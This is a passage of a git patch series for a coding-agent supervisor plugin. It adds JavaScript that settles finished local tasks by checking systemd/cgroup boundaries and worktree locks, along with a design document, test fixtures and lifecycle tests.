'worktree_lock_inspect_failed', cleaned: false }; + } + if (lock.state === 'unlocked') return { lock: 'unlocked', cleaned: false, receipt: lock }; + if (!lockIdentityMatches(lock, task, runtime)) { + return { lock: 'unknown', code: 'worktree_lock_identity_mismatch', cleaned: false, receipt: lock }; + } + return { lock: 'active', cleaned: false, receipt: lock }; + } catch { + return { lock: 'unknown', code: 'worktree_lock_inspect_failed', cleaned: false }; + } +} + +async function cleanManagedLockAfterBoundary(task, runtime, dependencies = {}) { + const inspected = await inspectManagedLockState(task, runtime, dependencies); + if (inspected.lock === 'not_applicable' || inspected.lock === 'unlocked') return inspected; + if (inspected.lock !== 'active' || !inspected.receipt?.lock_id) return inspected; + const reference = workspaceReference(task, task.worktree_task ?? task.id); + const execute = dependencies.execute ?? execFile; + try { + await execute('worktree-bootstrap', [ + 'lock', 'clean', reference.task, + '--repo', reference.worktree_path, + '--policy', 'dead-local', + '--lock-id', inspected.receipt.lock_id, + ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); + return { lock: 'cleaned', cleaned: true, receipt: inspected.receipt }; + } catch (error) { + const exitCode = Number.isInteger(error?.status) ? error.status : (Number.isInteger(error?.code) ? error.code : undefined); + return { + lock: 'unknown', + cleaned: false, + code: 'worktree_lock_cleanup_failed', + exit_code: exitCode, + receipt: inspected.receipt, + }; + } +} + +function cleanupRecord({ status, boundary, lock, code, recoveryAttempted }) { + return { + status, + boundary, + lock, + ...(code ? { code } : {}), + ...(recoveryAttempted ? { recovery_attempted: true } : {}), + }; +} + +export async function settleLocalTaskLifecycle(root, task, runtime, dependencies = {}) { + const current = task && typeof task === 'object' && !Array.isArray(task) && typeof task.id === 'string' + ? task + : (await readTask(root, requireTaskId(task))).task; + const boundRuntime = taskRuntime(runtime, current); + if (!STORED_TERMINAL.includes(current.status)) { + const inspection = boundRuntime?.process_boundary + ? await inspectRuntimeBoundary(boundRuntime, dependencies) + : null; + return localTaskLifecycleFrom(current, { + final: false, + cleanup: 'pending', + boundary: inspection?.state ?? 'not_applicable', + lock: current.workspace_kind === 'managed-worktree' ? 'pending' : 'not_applicable', + reason: null, + }); + } + if (!boundRuntime?.process_boundary) { + return localTaskLifecycleFrom(current, { + final: true, + cleanup: current.cleanup?.status ?? 'normal', + boundary: 'not_applicable', + lock: current.workspace_kind === 'managed-worktree' ? (current.cleanup?.lock ?? 'not_applicable') : 'not_applicable', + }); + } + if (CLEANUP_FINAL.has(current.cleanup?.status)) { + return localTaskLifecycleFrom(current, { + final: true, + cleanup: current.cleanup.status, + boundary: current.cleanup.boundary ?? 'inactive_empty', + lock: current.cleanup.lock ?? 'unlocked', + reason: current.cleanup.code ?? null, + }); + } + + const sleep = dependencies.sleep ?? wait; + const drainMs = Number.isFinite(dependencies.drainGraceMs) + ? dependencies.drainGraceMs + : PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.natural_boundary_and_lock_drain; + if (drainMs > 0) await sleep(drainMs); + + let inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + let recovered = false; + let gitBefore = null; + let unrelatedBefore = null; + const recoveryAttempted = current.cleanup?.recovery_attempted === true; + if (inspection?.state === 'active' && inspection.stop_allowed && !recoveryAttempted) { + gitBefore = await snapshotTaskGit(current, dependencies); + unrelatedBefore = await snapshotUnrelatedUnits(boundRuntime.process_boundary, dependencies); + if (!gitBefore || !unrelatedBefore) { + inspection = { + ...inspection, + state: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + }; + } else { + try { + await (dependencies.stopExactBoundary ?? stopExactProcessBoundary)(boundRuntime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(boundRuntime), + timeoutMs: dependencies.stopTimeoutMs, + }); + recovered = true; + inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + } catch (error) { + const code = error?.code === 'cgroup_not_empty' ? 'cgroup_not_empty' : (error?.code ?? 'worker_boundary_stop_failed'); + const cleanup = cleanupRecord({ + status: 'failed', + boundary: code === 'cgroup_not_empty' ? 'active' : 'unknown', + lock: 'active', + code, + recoveryAttempted: true, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { + runtime: boundRuntime, + forced: error?.code === 'cgroup_not_empty', + }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: publicLifecycleCode(code), + cleanupRecord: cleanup, + }); + } + } + } + + if (inspection?.state !== 'inactive_empty') { + const code = inspection?.code ?? (inspection?.state === 'active' ? 'worker_boundary_pending' : 'worker_boundary_inspect_failed'); + const cleanup = cleanupRecord({ + status: inspection?.state === 'active' ? 'pending' : (code.includes('mismatch') ? 'unknown' : 'unknown'), + boundary: inspection?.state === 'active' ? 'active' : 'unknown', + lock: 'pending', + code, + recoveryAttempted: recovered || recoveryAttempted, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { runtime: boundRuntime }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: publicLifecycleCode(code === 'worker_boundary_pending' ? 'worker_boundary_pending' : code), + cleanupRecord: cleanup, + }); + } + + if (recovered) { + const gitAfter = await snapshotTaskGit(current, dependencies); + const unrelatedAfter = await snapshotUnrelatedUnits(boundRuntime.process_boundary, dependencies); + if (!sameGitIdentity(gitBefore, gitAfter)) { + const cleanup = cleanupRecord({ + status: 'failed', + boundary: 'inactive_empty', + lock: 'unknown', + code: 'worktree_git_changed_during_recovery', + recoveryAttempted: true, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { runtime: boundRuntime, git: gitAfter }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: 'worktree_git_changed_during_recovery', + cleanupRecord: cleanup, + }); + } + if (!sameUnrelatedUnits(unrelatedBefore, unrelatedAfter)) { + const cleanup = cleanupRecord({ + status: 'failed', + boundary: 'inactive_empty', + lock: 'unknown', + code: 'worker_boundary_identity_mismatch', + recoveryAttempted: true, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { runtime: boundRuntime, git: gitAfter }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: 'boundary_identity_mismatch', + cleanupRecord: cleanup, + }); + } + } + + let lockResult = await inspectManagedLockState(current, boundRuntime, dependencies); + if (lockResult.lock === 'active') { + lockResult = await cleanManagedLockAfterBoundary(current, boundRuntime, dependencies); + } + if (lockResult.lock === 'unknown' || lockResult.lock === 'active') { + const code = lockResult.code ?? 'worktree_lock_liveness_unknown'; + const cleanup = cleanupRecord({ + status: 'unknown', + boundary: 'inactive_empty', + lock: lockResult.lock, + code, + recoveryAttempted: recovered || recoveryAttempted, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { + runtime: boundRuntime, + recovered, + git: gitBefore, + exit_code_class: Number.isInteger(lockResult.exit_code) ? `exit_${lockResult.exit_code}` : undefined, + }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: publicLifecycleCode(code), + cleanupRecord: cleanup, + }); + } + + const cleanup = cleanupRecord({ + status: recovered ? 'recovered' : 'normal', + boundary: 'inactive_empty', + lock: lockResult.lock, + recoveryAttempted: recovered || recoveryAttempted, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { + runtime: boundRuntime, + recovered, + git: gitBefore, + }); + return localTaskLifecycleFrom(next, { + final: true, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + cleanupRecord: cleanup, + }); +} + +export async function cleanupLocalTaskLifecycle(root, task, runtime, dependencies = {}) { + return settleLocalTaskLifecycle(root, task, runtime, dependencies); +} + +async function reconcileInactiveTask(root, task, runtime, dependencies = {}) { + const boundRuntime = taskRuntime(runtime, task); + if (STORED_TERMINAL.includes(task.status) && boundRuntime?.process_boundary) { + await settleLocalTaskLifecycle(root, task, boundRuntime, dependencies); + return (await readTask(root, task.id)).task; + } + if (!ACTIVE.has(task.status) || launchReservationActive(task)) return task; + if (boundRuntime?.process_boundary) { + const inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + if (inspection?.state === 'active' || inspection?.state === 'unknown') return task; + } else if (await runtimeActive(boundRuntime, dependencies)) { + return task; + } if (deadlineReached(task)) { const timedOut = await updateTask(root, task.id, { status: 'timeout', @@ -859,7 +1397,10 @@ async function reconcileInactiveTask(root, task, runtime) { finished_at: new Date().toISOString(), }); await appendTaskEvent(root, task.id, { type: 'terminal', status: 'timeout', reason: 'deadline_reached' }).catch(() => {}); - await recordManagedCleanup(root, timedOut, undefined); + await recordManagedCleanup(root, timedOut, dependencies.execute, { + requireInactiveEmpty: Boolean(boundRuntime?.process_boundary), + boundaryState: boundRuntime?.process_boundary ? 'inactive_empty' : undefined, + }); return timedOut; } @@ -876,9 +1417,12 @@ async function reconcileInactiveTask(root, task, runtime) { } let boundaryStopped = false; - if (runtime?.process_boundary) { + if (boundRuntime?.process_boundary) { try { - await stopRuntimeBoundary(runtime); + await (dependencies.stopBoundary ?? stopExactProcessBoundary)(boundRuntime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(boundRuntime), + }); boundaryStopped = true; } catch { // Keep the task reconcilable when exact cgroup cleanup cannot be proven. @@ -894,7 +1438,10 @@ async function reconcileInactiveTask(root, task, runtime) { : 'Recorded worker is not running; inspect or cancel this task without replaying it.', }, }); - await recordManagedCleanup(root, reconciled, undefined); + await recordManagedCleanup(root, reconciled, dependencies.execute, { + requireInactiveEmpty: Boolean(boundRuntime?.process_boundary), + boundaryState: boundaryStopped ? 'inactive_empty' : (boundRuntime?.process_boundary ? 'unknown' : undefined), + }); return reconciled; } @@ -1041,6 +1588,20 @@ export function classifySupervisorTerminalReceipt(task) { corrected: false, }); } + if (lifecycleBlocksFinalProjection(task)) { + const code = publicLifecycleCode(task.cleanup?.code ?? 'worker_boundary_pending'); + return Object.freeze({ + stored_status: storedStatus, + projected_status: 'transport_lost', + public_state: publicState('transport_lost'), + corrected: false, + reason: code, + error: Object.freeze({ + code, + message: PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES.worker_boundary_pending, + }), + }); + } const wouldSucceed = storedStatus === 'completed' || storedStatus === 'succeeded'; if (wouldSucceed) { let envelope = false; @@ -1077,8 +1638,33 @@ export function projectSupervisorPublicState(task) { return classifySupervisorTerminalReceipt(task).public_state; } +function suppressUnfinalTerminalProjection(task, classified) { + const code = publicLifecycleCode(classified.reason ?? task?.cleanup?.code ?? 'worker_boundary_pending'); + const message = PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES.worker_boundary_pending; + try { + const overlay = { + ...task, + status: 'transport_lost', + error: Object.freeze({ code, message }), + }; + delete overlay.result; + delete overlay.handoff; + delete overlay.stop_reason; + delete overlay.finished_at; + return overlay; + } catch { + return { + status: 'transport_lost', + error: Object.freeze({ code, message }), + }; + } +} + export function projectSupervisorTerminalReceipt(task) { const classified = classifySupervisorTerminalReceipt(task); + if (lifecycleBlocksFinalProjection(task)) { + return suppressUnfinalTerminalProjection(task, classified); + } if (!classified.corrected) return task; try { return { @@ -1156,7 +1742,14 @@ async function providerReadiness(env = process.env) { export async function cancelTask(root, taskId, dependencies = {}) { const { task } = await readTask(root, taskId); - if (!ACTIVE.has(task.status)) return projectSupervisorTerminalReceipt(task); + if (!ACTIVE.has(task.status)) { + const runtime = taskRuntime(await readRuntimeRecord(root, taskId), task); + if (runtime?.process_boundary) { + await settleLocalTaskLifecycle(root, task, runtime, dependencies); + return projectSupervisorTerminalReceipt((await readTask(root, taskId)).task); + } + return projectSupervisorTerminalReceipt(task); + } if (task.provider === 'cursor-cloud' && task.provider_agent_id) { const runtime = await readRuntimeRecord(root, taskId); await updateTask(root, taskId, { status: 'cancelling' }); @@ -1182,13 +1775,19 @@ export async function cancelTask(root, taskId, dependencies = {}) { try { await (dependencies.stopBoundary ?? stopRuntimeBoundary)(runtime); } catch (error) { - await recordManagedCleanup(root, task, dependencies.execute); + await recordManagedCleanup(root, task, dependencies.execute, { + requireInactiveEmpty: true, + boundaryState: 'unknown', + }); return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'transport_lost', error: { code: error?.code ?? 'cancel_incomplete', message: 'The owned local task cgroup could not be proven empty.' }, })); } - await recordManagedCleanup(root, task, dependencies.execute); + await recordManagedCleanup(root, task, dependencies.execute, { + requireInactiveEmpty: true, + boundaryState: 'inactive_empty', + }); await appendTaskEvent(root, taskId, { type: 'terminal', status: 'cancelled', boundary: runtime.process_boundary.boundary }); return projectSupervisorTerminalReceipt(await updateTask(root, taskId, { status: 'cancelled', finished_at: new Date().toISOString() })); } @@ -1227,9 +1826,10 @@ export async function cancelTask(root, taskId, dependencies = {}) { } export async function taskStatus(root, taskId, options = {}) { + const dependencies = options.dependencies ?? options; const { task: initialTask } = await readTask(root, taskId); const runtime = taskRuntime(await readRuntimeRecord(root, taskId), initialTask); - await reconcileInactiveTask(root, initialTask, runtime); + await reconcileInactiveTask(root, initialTask, runtime, dependencies); const view = resolveTaskView(options.view); const waited = await waitForTaskProgress(root, taskId, { cursor: options.cursor, @@ -1241,7 +1841,7 @@ export async function taskStatus(root, taskId, options = {}) { const latestRuntime = taskRuntime(await readRuntimeRecord(root, taskId), waited.task); const task = projectSupervisorTerminalReceipt(await projectLiveLastEvent( root, - await reconcileInactiveTask(root, waited.task, latestRuntime), + await reconcileInactiveTask(root, waited.task, latestRuntime, dependencies), )); const progress = { ...waited.progress, @@ -1308,9 +1908,9 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op const tasksAll = await listTasks(root); for (let index = 0; index < tasksAll.length; index += 1) { const task = tasksAll[index]; - if (!ACTIVE.has(task.status)) continue; const runtime = taskRuntime(await readRuntimeRecord(root, task.id), task); - tasksAll[index] = await reconcileInactiveTask(root, task, runtime); + if (!ACTIVE.has(task.status) && !(STORED_TERMINAL.includes(task.status) && runtime?.process_boundary)) continue; + tasksAll[index] = await reconcileInactiveTask(root, task, runtime, dependencies); } const boundary = await localBoundaryReadiness(dependencies.probeBoundary); const readiness = await (dependencies.readProviderReadiness ?? providerReadiness)(); @@ -1360,9 +1960,9 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op const totalTasks = allTasks.length; for (let index = 0; index < allTasks.length; index += 1) { const task = allTasks[index]; - if (!ACTIVE.has(task.status)) continue; const runtime = taskRuntime(await readRuntimeRecord(root, task.id), task); - allTasks[index] = await reconcileInactiveTask(root, task, runtime); + if (!ACTIVE.has(task.status) && !(STORED_TERMINAL.includes(task.status) && runtime?.process_boundary)) continue; + allTasks[index] = await reconcileInactiveTask(root, task, runtime, dependencies); } const boundary = await localBoundaryReadiness(dependencies.probeBoundary); const readiness = await (dependencies.readProviderReadiness ?? providerReadiness)(); From 7c6423ff25155370d587deaf80d915c0ea70647b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:35:31 +0000 Subject: [PATCH 125/151] test(lifecycle): reproduce both incidents and Ox T1-T7 Cover populated-cgroup completed receipts, namespace-incomplete unknown, lock-clean gating, idempotent drain, and R-TRUTH-after-finality. --- docs/terminal-boundary-lifecycle.md | 77 +++ ...1-terminal-boundary-lifecycle-fixtures.mjs | 240 +++++++++ .../r1-terminal-boundary-lifecycle.test.mjs | 491 ++++++++++++++++++ .../test/v3-process-boundary.test.mjs | 62 +++ .../test/v3-supervisor.test.mjs | 33 ++ 5 files changed, 903 insertions(+) create mode 100644 docs/terminal-boundary-lifecycle.md create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs diff --git a/docs/terminal-boundary-lifecycle.md b/docs/terminal-boundary-lifecycle.md new file mode 100644 index 0000000..f6b47ab --- /dev/null +++ b/docs/terminal-boundary-lifecycle.md @@ -0,0 +1,77 @@ +# Terminal boundary lifecycle + +Local worker finality is not the provider receipt. A stored +`completed`/`failed`/`cancelled`/`timeout`/`environment_blocked` status is a +candidate outcome. Model-facing finality requires exact systemd/cgroup proof +and, for managed worktrees, an identity-bound lock disposition. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/process-boundary.mjs` +- `plugins/codex-co-engineer/mcp/v3/supervisor.mjs` +- `plugins/codex-co-engineer/test/v3-process-boundary.test.mjs` +- `plugins/codex-co-engineer/test/v3-supervisor.test.mjs` +- `plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs` +- this document + +## Exports + +`settleLocalTaskLifecycle(root, task, runtime, dependencies)` and +`cleanupLocalTaskLifecycle(root, task, runtime, dependencies)` return the same +frozen `LocalTaskLifecycleV1` object: + +`version`, `task_id`, `stored_status`, `projected_status`, `public_state`, +`final`, `cleanup`, `boundary`, `lock`, `reason`. + +`cleanupLocalTaskLifecycle` is the idempotent form of settlement. Neither +export deletes a worktree, branch, or evidence file. + +## Tri-state boundary + +Exact systemd user-unit generation plus unified cgroup v2 is the authority. +Namespace-relative `/proc` or WTB `health.state=abandoned` is never death +proof. + +| State | Meaning | +| --- | --- | +| `inactive_empty` | Exact unit absent and exact cgroup path absent, or exact generation inactive with `populated 0` | +| `active` | Exact generation `active`/`activating`/`deactivating`, `populated 1`, and complete task-owned membership | +| `unknown` | Inspection unavailable, identity mismatch, incomplete PID/member visibility, or contradictory evidence | + +Unknown refuses stop and lock cleanup. An identity mismatch never addresses +another task's unit. + +## Settlement + +For a stored-terminal local task with a process-boundary receipt: + +1. Wait the drain grace. +2. Inspect the exact unit and cgroup. +3. If still `active` and identities match, snapshot Git and unrelated + Co-Engineer units, then `systemctl --user stop` only that unit. Never kill + an individual PID. +4. Prove `inactive_empty`, unchanged Git identity, and unchanged unrelated + units. +5. Allow the wrapper to release its lock. If the exact lock remains, invoke + supported `dead-local` cleanup only after that proof and exact lock + identity. Never edit or delete a lock file. + +`cleanup.status` is `normal` for a natural drain and `recovered` after an +authorized exact stop. Repeated settlement of `normal`/`recovered` performs no +further stop or lock clean. + +## Projection + +Accepted R-TRUTH classification runs only after lifecycle finality. While +cleanup is `pending`, `unknown`, or `failed`, public projection uses existing +`transport_lost` vocabulary and omits `result`, `handoff`, `stop_reason`, and +`finished_at`. Stored `codex-co-engineer.task.v1` bytes keep their original +terminal status; cleanup is optional and additive. Pre-contract receipts +without a local boundary stay on the R-TRUTH seam with no backfill. + +## Tests + +T1–T7 and both Wave25B live-cgroup/held-lock incidents are reproduced in +`r1-terminal-boundary-lifecycle.test.mjs`. Gate A remains ineligible until +those tests and independent review pass on the host boundary. diff --git a/plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs new file mode 100644 index 0000000..dcf0605 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs @@ -0,0 +1,240 @@ +// Neutral fixtures for terminal-boundary lifecycle tests. Construction only: +// no Git, filesystem, process, network, provider, or stored-byte writes. + +export const INCIDENT_1_TASK_ID = 'r1-w25b-rtruth-server-tasks-classifier-repair-grok-20260825'; +export const INCIDENT_2_TASK_ID = 'r1-w25b-rtruth-task-store-filter-final-closure-grok-20260825'; +export const SHA = 'a'.repeat(40); +export const TREE = 'b'.repeat(40); +export const OTHER_UNIT = 'codex-co-engineer-cccccccccccccccccccccccccccccccc.service'; + +export function lifecycleReceipt(overrides = {}) { + const token = overrides.token ?? 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; + const unit = overrides.unit ?? `codex-co-engineer-${token}.service`; + return { + version: 1, + boundary: 'systemd-user-service-cgroup', + unit, + description: overrides.description ?? `codex-co-engineer-task:${token}`, + invocation_id: overrides.invocation_id ?? 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + control_group: overrides.control_group + ?? `/user.slice/user-1000.slice/user@1000.service/app.slice/${unit}`, + ...Object.fromEntries(Object.entries(overrides).filter(([key]) => key !== 'token')), + }; +} + +export function procStat({ pid, ppid, startTicks, comm = 'wrap' }) { + const fields = ['S', String(ppid), '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', String(startTicks)]; + return `${pid} (${comm}) ${fields.join(' ')}`; +} + +export function incidentOneRuntime(overrides = {}) { + const receipt = lifecycleReceipt({ + token: 'a532059d5c22478b85270de53e032013', + invocation_id: 'ceeb644ad01c4646981369c739d008ec', + }); + return { + pid: 1818295, + process_group: null, + process_start_ticks: '579125367', + command: 'worktree-bootstrap', + process_boundary: receipt, + ...overrides, + }; +} + +export function incidentTwoRuntime(overrides = {}) { + const receipt = lifecycleReceipt({ + token: 'd8cdeb77784f43329d17e1009aad7ceb', + invocation_id: '6368455919884b0c82ce2a3fbdeaf6ce', + }); + return { + pid: 2394612, + process_group: null, + process_start_ticks: '579387325', + command: 'worktree-bootstrap', + process_boundary: receipt, + ...overrides, + }; +} + +export function terminalTaskRecord(overrides = {}) { + return { + id: overrides.id ?? 'lifecycle-one', + status: overrides.status ?? 'completed', + provider: 'grok', + cwd: overrides.cwd, + branch: overrides.branch ?? 'codex/lifecycle-one', + start_sha: overrides.start_sha ?? SHA, + worktree_task: overrides.worktree_task ?? overrides.id ?? 'lifecycle-one', + workspace_kind: overrides.workspace_kind ?? 'managed-worktree', + result: overrides.result ?? 'ok', + finished_at: overrides.finished_at ?? '2026-08-25T20:32:28.074Z', + handoff: overrides.handoff ?? { branch: 'codex/lifecycle-one', head: SHA }, + stop_reason: overrides.stop_reason ?? 'end_turn', + ...Object.fromEntries(Object.entries(overrides).filter(([key]) => ( + !['id', 'status', 'cwd', 'branch', 'start_sha', 'worktree_task', 'workspace_kind', 'result', 'finished_at', 'handoff', 'stop_reason'].includes(key) + ))), + }; +} + +export function gitSnapshot(overrides = {}) { + return { + head: overrides.head ?? SHA, + tree: overrides.tree ?? TREE, + branch: overrides.branch ?? 'codex/lifecycle-one', + clean: overrides.clean !== false, + }; +} + +export function createBoundaryHarness({ + receipt = lifecycleReceipt(), + leaderPid = 4242, + workerPid = 4300, + startTicks = '100', + workerTicks = '110', + activeState = 'active', + populated = true, + found = true, + invocationId, + controlGroup, + procErrors = {}, + cgroupErrors = {}, + extraMembers = [], +} = {}) { + const state = { + activeState, + populated, + found, + forced: false, + actions: [], + stopCalls: 0, + unrelated: { + [OTHER_UNIT]: { ActiveState: 'active', InvocationID: 'dddddddddddddddddddddddddddddddd', MainPID: '99' }, + }, + }; + const unit = receipt.unit; + const description = receipt.description; + const invocation = invocationId ?? receipt.invocation_id; + const cgroup = controlGroup ?? receipt.control_group; + const membersOf = () => (state.populated ? [leaderPid, workerPid, ...extraMembers] : []); + + const readFile = async (file) => { + if (file.endsWith('/cgroup.events')) { + if (cgroupErrors.events) { + throw Object.assign(new Error('cgroup events unreadable'), { code: cgroupErrors.events }); + } + if (!state.found && !state.populated) { + throw Object.assign(new Error('missing cgroup'), { code: 'ENOENT' }); + } + return `populated ${state.populated ? 1 : 0}\nfrozen 0\n`; + } + if (file.endsWith('/cgroup.procs')) { + if (cgroupErrors.procs) { + throw Object.assign(new Error('cgroup procs unreadable'), { code: cgroupErrors.procs }); + } + return `${membersOf().join('\n')}\n`; + } + const procMatch = /\/proc\/(\d+)\/(stat|cgroup)$/u.exec(file); + if (procMatch) { + const pid = Number(procMatch[1]); + const kind = procMatch[2]; + const errorCode = procErrors[pid] ?? procErrors[kind]; + if (errorCode) throw Object.assign(new Error('proc unreadable'), { code: errorCode }); + if (kind === 'stat') { + const ppid = pid === leaderPid ? 1 : leaderPid; + const ticks = pid === leaderPid ? startTicks : workerTicks; + return procStat({ pid, ppid, startTicks: ticks, comm: pid === leaderPid ? 'wrap' : 'node' }); + } + return `0::${cgroup}\n`; + } + throw Object.assign(new Error(`unexpected file ${file}`), { code: 'ENOENT' }); + }; + + const execFile = async (_command, args) => { + state.actions.push([...args]); + if (args.includes('list-units')) { + return { stdout: `${OTHER_UNIT} loaded active running other\n${unit} loaded ${state.activeState} running task\n` }; + } + if (args[1] === 'stop') { + state.stopCalls += 1; + state.actions.push(['stop', args.at(-1)]); + if (args.at(-1) !== unit) { + throw Object.assign(new Error('refusing to stop a foreign unit'), { code: 'foreign_unit' }); + } + state.found = true; + state.activeState = 'inactive'; + state.populated = false; + return { stdout: '' }; + } + if (args[1] === 'show') { + const target = args.find((value) => String(value).startsWith('codex-co-engineer-')) ?? unit; + if (target === OTHER_UNIT) { + const other = state.unrelated[OTHER_UNIT]; + return { stdout: [ + `Id=${OTHER_UNIT}`, + 'ActiveState=active', + `InvocationID=${other.InvocationID}`, + `MainPID=${other.MainPID}`, + ].join('\n') }; + } + if (!state.found) { + return { stdout: 'LoadState=not-found\nId=\n' }; + } + return { stdout: [ + `Id=${unit}`, + `Description=${description}`, + 'LoadState=loaded', + `ActiveState=${state.activeState}`, + `ControlGroup=${state.activeState === 'inactive' && !state.populated ? '' : cgroup}`, + 'KillMode=control-group', + `InvocationID=${invocation}`, + `MainPID=${state.populated ? leaderPid : 0}`, + ].join('\n') }; + } + return { stdout: '' }; + }; + + const adapter = { + platform: 'linux', + uid: 1000, + spawn: () => { throw new Error('launch is out of scope'); }, + execFile, + readFile, + sleep: async () => {}, + }; + + return { + adapter, + state, + receipt, + leader: { pid: leaderPid, process_start_ticks: startTicks }, + workerPid, + }; +} + +export function lockInspectReceipt({ + task, + lockId = 'f0eb35fa540840c8bb4fcc7edfca2e45', + state = 'held', + health = 'abandoned', + healthReason = 'wrapper process no longer exists', + worktreePath, + branch, + startSha = SHA, + wrapperPid = 1818295, + startTicks = '579125367', +} = {}) { + return { + schema: 'worktree-bootstrap/v1', + state, + lock_id: lockId, + task, + worktree_path: worktreePath, + branch, + start_sha: startSha, + wrapper_pid: wrapperPid, + process_start_ticks: startTicks, + command: ['worktree-bootstrap', 'launch', task], + health: { state: health, abandoned: health === 'abandoned', reason: healthReason }, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs new file mode 100644 index 0000000..a20df5e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs @@ -0,0 +1,491 @@ +import assert from 'node:assert/strict'; +import { mkdir, mkdtemp, readFile, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + inspectExactProcessBoundary, + PROCESS_BOUNDARY_STATES, + stopExactProcessBoundary, +} from '../mcp/v3/process-boundary.mjs'; +import { + classifySupervisorTerminalReceipt, + cleanupLocalTaskLifecycle, + projectSupervisorPublicState, + projectSupervisorTerminalReceipt, + settleLocalTaskLifecycle, + supervisorStatus, + taskStatus, +} from '../mcp/v3/supervisor.mjs'; +import { createTask, readRuntimeRecord, readTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + createBoundaryHarness, + gitSnapshot, + incidentOneRuntime, + incidentTwoRuntime, + INCIDENT_1_TASK_ID, + INCIDENT_2_TASK_ID, + lifecycleReceipt, + lockInspectReceipt, + OTHER_UNIT, + SHA, + terminalTaskRecord, +} from './fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs'; + +function lifecycleKeys(value) { + return Object.keys(value); +} + +async function withRoot(fn) { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-lifecycle-')); + try { + return await fn(root); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +async function storeTerminal(root, record, runtime) { + await mkdir(record.cwd, { recursive: true }); + const stored = await createTask({ + root, + prompt: 'keep this prompt private', + record, + }); + if (runtime) await writeRuntimeRecord(root, record.id, runtime); + return stored; +} + +function lockExecute(task, worktreePath, { inspect, clean } = {}) { + const calls = []; + return { + calls, + execute: async (command, args) => { + calls.push([command, args]); + if (command === 'git') return { stdout: `${SHA}\n` }; + if (args[0] === 'lock' && args[1] === 'inspect') { + if (typeof inspect === 'function') return inspect(args); + return { stdout: JSON.stringify(inspect ?? lockInspectReceipt({ task: task.worktree_task ?? task.id, worktreePath, branch: task.branch, wrapperPid: 4242, startTicks: '100' })) }; + } + if (args[0] === 'lock' && args[1] === 'clean') { + if (typeof clean === 'function') return clean(args); + return { stdout: JSON.stringify({ state: 'unlocked', cleaned: true, lock_id: args.at(-1) }) }; + } + throw new Error(`unexpected ${command} ${args.join(' ')}`); + }, + }; +} + +function settleDeps(harness, extra = {}) { + const snapshot = extra.git ?? gitSnapshot({ branch: extra.branch ?? 'codex/lifecycle-one' }); + return { + adapter: harness.adapter, + inspectBoundary: extra.inspectBoundary, + stopExactBoundary: extra.stopExactBoundary, + drainGraceMs: 0, + sleep: async () => {}, + snapshotGit: extra.snapshotGit ?? (async () => snapshot), + snapshotUnits: extra.snapshotUnits ?? (async () => structuredClone(harness.state.unrelated)), + execute: extra.execute, + ...extra, + }; +} + +test('inspectExactProcessBoundary exposes only the tri-state vocabulary', async () => { + const harness = createBoundaryHarness(); + const active = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(PROCESS_BOUNDARY_STATES.includes(active.state), true); + assert.equal(active.state, 'active'); + assert.equal(active.stop_allowed, true); + + harness.state.activeState = 'inactive'; + harness.state.populated = false; + const empty = await 